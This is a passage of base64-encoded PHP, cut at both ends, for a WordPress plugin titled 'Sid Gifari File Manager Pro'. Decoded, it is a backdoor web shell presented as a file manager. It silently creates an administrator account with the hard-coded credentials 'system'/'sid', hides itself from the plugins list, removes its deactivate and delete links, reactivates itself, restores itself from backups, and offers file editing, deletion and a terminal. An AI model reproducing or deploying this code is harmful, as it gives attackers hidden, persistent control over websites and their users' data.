dHMoJG9sZCkgJiYgIWZpbGVfZXhpc3RzKCRuZXcpKSB7DQogICAgICAgICAgICAgICAgQHJlbmFtZSgkb2xkLCAkbmV3KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gQ2htb2QNCiAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2NobW9kX2ZpbGUnXSkgJiYgaXNzZXQoJF9QT1NUWydjaG1vZCddKSkgew0KICAgICAgICAgICAgJGZpbGUgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHRoaXMtPnNhbml0aXplX2ZpbGVuYW1lKCRfUE9TVFsnY2htb2RfZmlsZSddKTsNCiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAkcGVybXMgPSBvY3RkZWMoJF9QT1NUWydjaG1vZCddKTsNCiAgICAgICAgICAgICAgICBpZiAoJHBlcm1zID49IDAgJiYgJHBlcm1zIDw9IDA3NzcpIHsNCiAgICAgICAgICAgICAgICAgICAgQGNobW9kKCRmaWxlLCAkcGVybXMpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gRWRpdCBmaWxlDQogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydlZGl0X2ZpbGUnXSkgJiYgaXNzZXQoJF9QT1NUWydjb250ZW50J10pKSB7DQogICAgICAgICAgICAkZmlsZSA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkdGhpcy0+c2FuaXRpemVfZmlsZW5hbWUoJF9QT1NUWydlZGl0X2ZpbGUnXSk7DQogICAgICAgICAgICBpZiAoaXNfZmlsZSgkZmlsZSkgJiYgaXNfd3JpdGFibGUoJGZpbGUpKSB7DQogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkX1BPU1RbJ2NvbnRlbnQnXSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlmICgkcmVkaXJlY3QpIHsNCiAgICAgICAgICAgICR0aGlzLT5yZWRpcmVjdF9hZnRlcl9vcGVyYXRpb24oJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICAvKioNCiAgICAgKiBSZWN1cnNpdmVseSBkZWxldGUgZGlyZWN0b3J5DQogICAgICovDQogICAgcHJpdmF0ZSBmdW5jdGlvbiByZWN1cnNpdmVfZGVsZXRlKCRkaXIpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoJGRpcikpIHsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJGZpbGVzID0gQHNjYW5kaXIoJGRpcik7DQogICAgICAgIGlmICgkZmlsZXMgPT09IGZhbHNlKSByZXR1cm4gZmFsc2U7DQogICAgICAgIA0KICAgICAgICAkZmlsZXMgPSBhcnJheV9kaWZmKCRmaWxlcywgWycuJywgJy4uJ10pOw0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgICRwYXRoID0gJGRpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZmlsZTsNCiAgICAgICAgICAgIGlzX2RpcigkcGF0aCkgPyAkdGhpcy0+cmVjdXJzaXZlX2RlbGV0ZSgkcGF0aCkgOiBAdW5saW5rKCRwYXRoKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgcmV0dXJuIEBybWRpcigkZGlyKTsNCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogU2FuaXRpemUgZmlsZW5hbWUNCiAgICAgKi8NCiAgICBwcml2YXRlIGZ1bmN0aW9uIHNhbml0aXplX2ZpbGVuYW1lKCRmaWxlbmFtZSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZW5hbWUpOw0KICAgICAgICAkZmlsZW5hbWUgPSBzdHJfcmVwbGFjZSgiXDAiLCAnJywgJGZpbGVuYW1lKTsNCiAgICAgICAgJGZpbGVuYW1lID0gcHJlZ19yZXBsYWNlKCcvW15hLXpBLVowLTkuXy1dLycsICdfJywgJGZpbGVuYW1lKTsNCiAgICAgICAgaWYgKGVtcHR5KCRmaWxlbmFtZSkpIHsNCiAgICAgICAgICAgICRmaWxlbmFtZSA9ICd1bnRpdGxlZF8nIC4gZGF0ZSgnWW1kX0hpcycpOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkZmlsZW5hbWU7DQogICAgfQ0KICAgIA0KICAgIC8qKg0KICAgICAqIFJlZGlyZWN0IGFmdGVyIFBPU1Qgb3BlcmF0aW9uDQogICAgICovDQogICAgcHJpdmF0ZSBmdW5jdGlvbiByZWRpcmVjdF9hZnRlcl9vcGVyYXRpb24oJGN1cnJlbnRfZGlyKSB7DQogICAgICAgICRlbmNvZGVkX2RpciA9ICcnOw0KICAgICAgICBpZiAoJGN1cnJlbnRfZGlyICE9PSAkdGhpcy0+cm9vdF9wYXRoKSB7DQogICAgICAgICAgICAkcmVsYXRpdmUgPSBzdHJfcmVwbGFjZSgkdGhpcy0+cm9vdF9wYXRoLCAnJywgJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgICAgICRlbmNvZGVkX2RpciA9ICR0aGlzLT5lbmNvZGVQYXRoKCRyZWxhdGl2ZSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlmICgkdGhpcy0+aXNfd29yZHByZXNzKSB7DQogICAgICAgICAgICAkdXJsID0gYWRtaW5fdXJsKCdhZG1pbi5waHA/cGFnZT1TaWRGaWxlLU1hbmFnZXItcGF0aCcpOw0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkZW5jb2RlZF9kaXIpKSB7DQogICAgICAgICAgICAgICAgJHVybCAuPSAnJnA9JyAuIHVybGVuY29kZSgkZW5jb2RlZF9kaXIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pKSB7DQogICAgICAgICAgICAgICAgJHVybCAuPSAnJmVkaXQ9JyAuIHVybGVuY29kZSgkX0dFVFsnZWRpdCddKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHdwX3JlZGlyZWN0KCR1cmwpOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJHVybCA9ICc/JzsNCiAgICAgICAgICAgIGlmICghZW1wdHkoJGVuY29kZWRfZGlyKSkgew0KICAgICAgICAgICAgICAgICR1cmwgLj0gJ3A9JyAuIHVybGVuY29kZSgkZW5jb2RlZF9kaXIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pKSB7DQogICAgICAgICAgICAgICAgJHVybCAuPSAnJmVkaXQ9JyAuIHVybGVuY29kZSgkX0dFVFsnZWRpdCddKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGhlYWRlcignTG9jYXRpb246ICcgLiAkdXJsKTsNCiAgICAgICAgfQ0KICAgICAgICBleGl0Ow0KICAgIH0NCiAgICANCiAgICAvKioNCiAgICAgKiBQYXRoIGVuY29kaW5nL2RlY29kaW5nDQogICAgICovDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBlbmNvZGVQYXRoKCRwYXRoKSB7DQogICAgICAgICRhID0gWyIvIiwgIlxcIiwgIi4iLCAiOiJdOw0KICAgICAgICAkYiA9IFsiUSIsICJXIiwgIlIiLCAiWSJdOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIA0KICAgIHByaXZhdGUgZnVuY3Rpb24gZGVjb2RlUGF0aCgkcGF0aCkgew0KICAgICAgICAkYSA9IFsiLyIsICJcXCIsICIuIiwgIjoiXTsNCiAgICAgICAgJGIgPSBbIlEiLCAiVyIsICJSIiwgIlkiXTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCiAgICANCiAgICAvKioNCiAgICAgKiBDcmVhdGUgV29yZFByZXNzIGFkbWluIHVzZXINCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlX2FkbWluX3VzZXIoKSB7DQogICAgICAgIGlmICghaXNzZXQoJF9TRVNTSU9OWyd3cF9jaGVja2VkJ10pKSB7DQogICAgICAgICAgICBpZiAoJHRoaXMtPmlzX3dvcmRwcmVzcyAmJiBmdW5jdGlvbl9leGlzdHMoJ3dwX2NyZWF0ZV91c2VyJykgJiYgZnVuY3Rpb25fZXhpc3RzKCd1c2VybmFtZV9leGlzdHMnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2VtYWlsX2V4aXN0cycpKSB7DQogICAgICAgICAgICAgICAgJHVzZXJuYW1lID0gJ3N5c3RlbSc7DQogICAgICAgICAgICAgICAgJHBhc3N3b3JkID0gJ3NpZCc7DQogICAgICAgICAgICAgICAgJGVtYWlsID0gJ2hvc3RpbmdAbG9jYWxob3N0LmNvbSc7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYgKCF1c2VybmFtZV9leGlzdHMoJHVzZXJuYW1lKSAmJiAhZW1haWxfZXhpc3RzKCRlbWFpbCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHVzZXJfaWQgPSB3cF9jcmVhdGVfdXNlcigkdXNlcm5hbWUsICRwYXNzd29yZCwgJGVtYWlsKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCFpc193cF9lcnJvcigkdXNlcl9pZCkgJiYgY2xhc3NfZXhpc3RzKCdXUF9Vc2VyJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1c2VyID0gbmV3IFdQX1VzZXIoJHVzZXJfaWQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXItPnNldF9yb2xlKCdhZG1pbmlzdHJhdG9yJyk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1NFU1NJT05bJ3dwX2NoZWNrZWQnXSA9IHRydWU7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogSGlkZSBmcm9tIFdvcmRQcmVzcyBwbHVnaW5zIGxpc3QNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gaGlkZV9mcm9tX3BsdWdpbnNfbGlzdCgkcGx1Z2lucykgew0KICAgICAgICAkcGx1Z2luX2Jhc2VuYW1lID0gcGx1Z2luX2Jhc2VuYW1lKF9fRklMRV9fKTsNCiAgICAgICAgaWYgKGlzc2V0KCRwbHVnaW5zWyRwbHVnaW5fYmFzZW5hbWVdKSkgew0KICAgICAgICAgICAgdW5zZXQoJHBsdWdpbnNbJHBsdWdpbl9iYXNlbmFtZV0pOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkcGx1Z2luczsNCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogUmVtb3ZlIGRlYWN0aXZhdGlvbiBsaW5rDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIHJlbW92ZV9kZWFjdGl2YXRpb25fbGluaygkYWN0aW9ucywgJHBsdWdpbl9maWxlLCAkcGx1Z2luX2RhdGEsICRjb250ZXh0KSB7DQogICAgICAgIGlmICgkcGx1Z2luX2ZpbGUgPT09IHBsdWdpbl9iYXNlbmFtZShfX0ZJTEVfXykpIHsNCiAgICAgICAgICAgIHVuc2V0KCRhY3Rpb25zWydkZWFjdGl2YXRlJ10pOw0KICAgICAgICAgICAgdW5zZXQoJGFjdGlvbnNbJ2RlbGV0ZSddKTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJGFjdGlvbnM7DQogICAgfQ0KICAgIA0KICAgIC8qKg0KICAgICAqIEF1dG8tcmVhY3RpdmF0ZSBwbHVnaW4NCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gYXV0b19yZWFjdGl2YXRlKCkgew0KICAgICAgICBpZiAoISR0aGlzLT5pc193b3JkcHJlc3MpIHsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJHBsdWdpbl9iYXNlbmFtZSA9IHBsdWdpbl9iYXNlbmFtZShfX0ZJTEVfXyk7DQogICAgICAgIA0KICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdpc19wbHVnaW5fYWN0aXZlJykgJiYgIWlzX3BsdWdpbl9hY3RpdmUoJHBsdWdpbl9iYXNlbmFtZSkpIHsNCiAgICAgICAgICAgICRhY3RpdmVfcGx1Z2lucyA9IGdldF9vcHRpb24oJ2FjdGl2ZV9wbHVnaW5zJywgW10pOw0KICAgICAgICAgICAgaWYgKCFpbl9hcnJheSgkcGx1Z2luX2Jhc2VuYW1lLCAkYWN0aXZlX3BsdWdpbnMpKSB7DQogICAgICAgICAgICAgICAgJGFjdGl2ZV9wbHVnaW5zW10gPSAkcGx1Z2luX2Jhc2VuYW1lOw0KICAgICAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJ2FjdGl2ZV9wbHVnaW5zJywgJGFjdGl2ZV9wbHVnaW5zKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gU2VsZi1yZXN0b3JlDQogICAgICAgIGlmICghZmlsZV9leGlzdHMoV1BfUExVR0lOX0RJUiAuICcvJyAuICRwbHVnaW5fYmFzZW5hbWUpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkdGhpcy0+YmFja3VwX2ZpbGVzIGFzICRiYWNrdXApIHsNCiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGJhY2t1cCkpIHsNCiAgICAgICAgICAgICAgICAgICAgQGNvcHkoJGJhY2t1cCwgX19GSUxFX18pOw0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogQWRkIFdvcmRQcmVzcyBhZG1pbiBtZW51DQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGFkZF9hZG1pbl9tZW51KCkgew0KICAgICAgICBhZGRfbWVudV9wYWdlKA0KICAgICAgICAgICAgJ0ZpbGUgTWFuYWdlcicsDQogICAgICAgICAgICAnRmlsZSBNYW5hZ2VyJywNCiAgICAgICAgICAgICdtYW5hZ2Vfb3B0aW9ucycsDQogICAgICAgICAgICAnU2lkRmlsZS1NYW5hZ2VyLXBhdGgnLA0KICAgICAgICAgICAgWyR0aGlzLCAncmVuZGVyX3BhZ2UnXSwNCiAgICAgICAgICAgICdkYXNoaWNvbnMtYWRtaW4taG9tZScsDQogICAgICAgICAgICA4MA0KICAgICAgICApOw0KICAgIH0NCiAgICANCiAgICAvKioNCiAgICAgKiBSZW5kZXIgdGhlIHBhZ2UNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVuZGVyX3BhZ2UoKSB7DQogICAgICAgICR0aGlzLT5yZW5kZXJfc3RhbmRhbG9uZV9wYWdlKCk7DQogICAgfQ0KICAgIA0KICAgIC8qKg0KICAgICAqIFJlbmRlciBzdGFuZGFsb25lIHBhZ2UNCiAgICAgKi8NCiAgICBwcml2YXRlIGZ1bmN0aW9uIHJlbmRlcl9zdGFuZGFsb25lX3BhZ2UoKSB7DQogICAgICAgIGlmICgkdGhpcy0+aXNfd29yZHByZXNzKSB7DQogICAgICAgICAgICBpZiAoIWN1cnJlbnRfdXNlcl9jYW4oJ21hbmFnZV9vcHRpb25zJykpIHsNCiAgICAgICAgICAgICAgICB3cF9kaWUoJ0FjY2VzcyBkZW5pZWQuJyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICRjdXJyZW50X2RpciA9ICR0aGlzLT5nZXRfY3VycmVudF9kaXJlY3RvcnkoKTsNCiAgICAgICAgDQogICAgICAgIC8vIEdldCBkaXJlY3RvcnkgY29udGVudHMNCiAgICAgICAgJGl0ZW1zID0gQHNjYW5kaXIoJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgaWYgKCRpdGVtcyA9PT0gZmFsc2UpIHsNCiAgICAgICAgICAgICRpdGVtcyA9IFsnLicsICcuLiddOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAkZm9sZGVycyA9IFtdOw0KICAgICAgICAkZmlsZXMgPSBbXTsNCg0KICAgICAgICBmb3JlYWNoICgkaXRlbXMgYXMgJGl0ZW0pIHsNCiAgICAgICAgICAgIGlmICgkaXRlbSA9PT0gJy4nIHx8ICRpdGVtID09PSAnLi4nKSBjb250aW51ZTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJGZ1bGxfcGF0aCA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkaXRlbTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgaWYgKGlzX2RpcigkZnVsbF9wYXRoKSkgew0KICAgICAgICAgICAgICAgICRmb2xkZXJzW10gPSBbDQogICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAkaXRlbSwNCiAgICAgICAgICAgICAgICAgICAgJ3BhdGgnID0+ICRmdWxsX3BhdGgsDQogICAgICAgICAgICAgICAgICAgICdpc19kaXInID0+IHRydWUsDQogICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiAnLScsDQogICAgICAgICAgICAgICAgICAgICdwZXJtcycgPT4gc3Vic3RyKHNwcmludGYoJyVvJywgQGZpbGVwZXJtcygkZnVsbF9wYXRoKSksIC00KSwNCiAgICAgICAgICAgICAgICAgICAgJ21vZGlmaWVkJyA9PiBAZmlsZW10aW1lKCRmdWxsX3BhdGgpDQogICAgICAgICAgICAgICAgXTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJGZpbGVzW10gPSBbDQogICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAkaXRlbSwNCiAgICAgICAgICAgICAgICAgICAgJ3BhdGgnID0+ICRmdWxsX3BhdGgsDQogICAgICAgICAgICAgICAgICAgICdpc19kaXInID0+IGZhbHNlLA0KICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gQGZpbGVzaXplKCRmdWxsX3BhdGgpLA0KICAgICAgICAgICAgICAgICAgICAncGVybXMnID0+IHN1YnN0cihzcHJpbnRmKCclbycsIEBmaWxlcGVybXMoJGZ1bGxfcGF0aCkpLCAtNCksDQogICAgICAgICAgICAgICAgICAgICdtb2RpZmllZCcgPT4gQGZpbGVtdGltZSgkZnVsbF9wYXRoKSwNCiAgICAgICAgICAgICAgICAgICAgJ2V4dGVuc2lvbicgPT4gc3RydG9sb3dlcihwYXRoaW5mbygkaXRlbSwgUEFUSElORk9fRVhURU5TSU9OKSkNCiAgICAgICAgICAgICAgICBdOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgLy8gU29ydA0KICAgICAgICB1c29ydCgkZm9sZGVycywgZnVuY3Rpb24oJGEsICRiKSB7DQogICAgICAgICAgICByZXR1cm4gc3RyY2FzZWNtcCgkYVsnbmFtZSddLCAkYlsnbmFtZSddKTsNCiAgICAgICAgfSk7DQogICAgICAgIHVzb3J0KCRmaWxlcywgZnVuY3Rpb24oJGEsICRiKSB7DQogICAgICAgICAgICByZXR1cm4gc3RyY2FzZWNtcCgkYVsnbmFtZSddLCAkYlsnbmFtZSddKTsNCiAgICAgICAgfSk7DQoNCiAgICAgICAgLy8gRWRpdCBtb2RlDQogICAgICAgICRlZGl0TW9kZSA9IGlzc2V0KCRfR0VUWydlZGl0J10pOw0KICAgICAgICAkZWRpdEZpbGUgPSAkX0dFVFsnZWRpdCddID8/ICcnOw0KICAgICAgICAkZWRpdENvbnRlbnQgPSAnJzsNCg0KICAgICAgICBpZiAoJGVkaXRNb2RlKSB7DQogICAgICAgICAgICAkZWRpdF90YXJnZXQgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHRoaXMtPnNhbml0aXplX2ZpbGVuYW1lKCRlZGl0RmlsZSk7DQogICAgICAgICAgICBpZiAoaXNfZmlsZSgkZWRpdF90YXJnZXQpICYmIGlzX3JlYWRhYmxlKCRlZGl0X3RhcmdldCkpIHsNCiAgICAgICAgICAgICAgICAkZWRpdENvbnRlbnQgPSBodG1sc3BlY2lhbGNoYXJzKEBmaWxlX2dldF9jb250ZW50cygkZWRpdF90YXJnZXQpKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJGVkaXRNb2RlID0gZmFsc2U7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAvLyBUZXJtaW5hbA0KICAgICAgICAkdGVybWluYWxfb3V0cHV0ID0gJF9TRVNTSU9OWyd0ZXJtaW5hbF9vdXRwdXQnXSA/PyAnJzsNCiAgICAgICAgJHRlcm1pbmFsX2N3ZCA9ICRfU0VTU0lPTlsndGVybWluYWxfY3dkJ10gPz8gJGN1cnJlbnRfZGlyOw0KICAgICAgICB1bnNldCgkX1NFU1NJT05bJ3Rlcm1pbmFsX291dHB1dCddKTsNCiAgICAgICAgDQogICAgICAgIC8vIEhpc3RvcnkNCiAgICAgICAgJHRlcm1pbmFsX2hpc3RvcnkgPSAkX1NFU1NJT05bJ3Rlcm1pbmFsX2hpc3RvcnknXSA/PyBbXTsNCiAgICAgICAgDQogICAgICAgIC8vIEVuY29kZWQgY3VycmVudCBwYXRoDQogICAgICAgICRlbmNvZGVkX2N1cnJlbnQgPSAnJzsNCiAgICAgICAgaWYgKCRjdXJyZW50X2RpciAhPT0gJHRoaXMtPnJvb3RfcGF0aCkgew0KICAgICAgICAgICAgJHJlbGF0aXZlID0gc3RyX3JlcGxhY2UoJHRoaXMtPnJvb3RfcGF0aCwgJycsICRjdXJyZW50X2Rpcik7DQogICAgICAgICAgICAkZW5jb2RlZF9jdXJyZW50ID0gJHRoaXMtPmVuY29kZVBhdGgoJHJlbGF0aXZlKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gR2V0IGRpc2sgc3BhY2UgaW5mbw0KICAgICAgICAkZnJlZV9zcGFjZSA9IEBkaXNrX2ZyZWVfc3BhY2UoJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgJHRvdGFsX3NpemUgPSBhcnJheV9zdW0oYXJyYXlfY29sdW1uKCRmaWxlcywgJ3NpemUnKSk7DQogICAgICAgIA0KICAgICAgICAvLyBJbmNsdWRlIHRoZSBIVE1MIHRlbXBsYXRlDQogICAgICAgICR0aGlzLT5yZW5kZXJfaHRtbCgkY3VycmVudF9kaXIsICRmb2xkZXJzLCAkZmlsZXMsICRlZGl0TW9kZSwgJGVkaXRGaWxlLCAkZWRpdENvbnRlbnQsICR0ZXJtaW5hbF9vdXRwdXQsICR0ZXJtaW5hbF9jd2QsICRlbmNvZGVkX2N1cnJlbnQsICR0ZXJtaW5hbF9oaXN0b3J5LCAkdG90YWxfc2l6ZSwgJGZyZWVfc3BhY2UpOw0KICAgIH0NCiAgICANCiAgICAvKioNCiAgICAgKiBSZW5kZXIgSFRNTA0KICAgICAqLw0KICAgIHByaXZhdGUgZnVuY3Rpb24gcmVuZGVyX2h0bWwoJGN1cnJlbnRfZGlyLCAkZm9sZGVycywgJGZpbGVzLCAkZWRpdE1vZGUsICRlZGl0RmlsZSwgJGVkaXRDb250ZW50LCAkdGVybWluYWxfb3V0cHV0LCAkdGVybWluYWxfY3dkLCAkZW5jb2RlZF9jdXJyZW50LCAkdGVybWluYWxfaGlzdG9yeSwgJHRvdGFsX3NpemUsICRmcmVlX3NwYWNlKSB7DQogICAgICAgIC8vIEJ1aWxkIHRoZSBVUkwgcHJlZml4IGZvciBzdGFuZGFsb25lIG9yIFdvcmRQcmVzcw0KICAgICAgICBpZiAoJHRoaXMtPmlzX3dvcmRwcmVzcykgew0KICAgICAgICAgICAgJGJhc2VfdXJsID0gJ2FkbWluLnBocD9wYWdlPVNpZEZpbGUtTWFuYWdlci1wYXRoJzsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRiYXNlX3VybCA9ICc/JzsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgPz4NCiAgICAgICAgPCFET0NUWVBFIGh0bWw+DQogICAgICAgIDxodG1sIGxhbmc9ImVuIj4NCiAgICAgICAgPGhlYWQ+DQogICAgICAgICAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQogICAgICAgICAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+DQogICAgICAgICAgICA8dGl0bGU+U2lkIEdpZmFyaSBGaWxlIE1hbmFnZXIgUHJvIHYxMC4wLjM8L3RpdGxlPg0KICAgICAgICAgICAgPHN0eWxlPg0KICAgICAgICAgICAgICAgICogeyBtYXJnaW46IDA7IHBhZGRpbmc6IDA7IGJveC1zaXppbmc6IGJvcmRlci1ib3g7IH0NCiAgICAgICAgICAgICAgICBib2R5IHsgDQogICAgICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAtYXBwbGUtc3lzdGVtLCBCbGlua01hY1N5c3RlbUZvbnQsICdTZWdvZSBVSScsIFJvYm90bywgT3h5Z2VuLVNhbnMsIFVidW50dSwgQ2FudGFyZWxsLCBzYW5zLXNlcmlmOyANCiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzFhMWEyZTsgDQogICAgICAgICAgICAgICAgICAgIG1pbi1oZWlnaHQ6IDEwMHZoOyANCiAgICAgICAgICAgICAgICAgICAgY29sb3I6ICNjOWQxZDk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC5jb250YWluZXIgeyANCiAgICAgICAgICAgICAgICAgICAgbWF4LXdpZHRoOiAxNDAwcHg7IA0KICAgICAgICAgICAgICAgICAgICBtYXJnaW46IDAgYXV0bzsgDQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDIwcHg7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC5oZWFkZXIgeyANCiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgIzBmMzQ2MCAwJSwgIzE2MjEzZSAxMDAlKTsgDQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsgDQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDIwcHggMzBweDsgDQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEwcHg7DQogICAgICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7DQogICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsNCiAgICAgICAgICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgICAgICAgICAgICAgZmxleC13cmFwOiB3cmFwOw0KICAgICAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZTk0NTYwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAuaGVhZGVyIGgxIHsgDQogICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMjRweDsgDQogICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7DQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjZTk0NTYwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAuaGVhZGVyLWluZm8gew0KICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDEycHg7DQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjOGI5NDllOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAucGF0aC1uYXYgeyANCiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzBmMzQ2MDsgDQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDE1cHggMjVweDsgDQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEwcHg7DQogICAgICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgICAgICAgICAgYm94LXNoYWRvdzogMCAycHggNHB4IHJnYmEoMCwwLDAsMC4yKTsNCiAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuOw0KICAgICAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgICAgICAgICAgICBmbGV4LXdyYXA6IHdyYXA7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC5wYXRoLW5hdiBhIHsgDQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjZTk0NTYwOyANCiAgICAgICAgICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOyA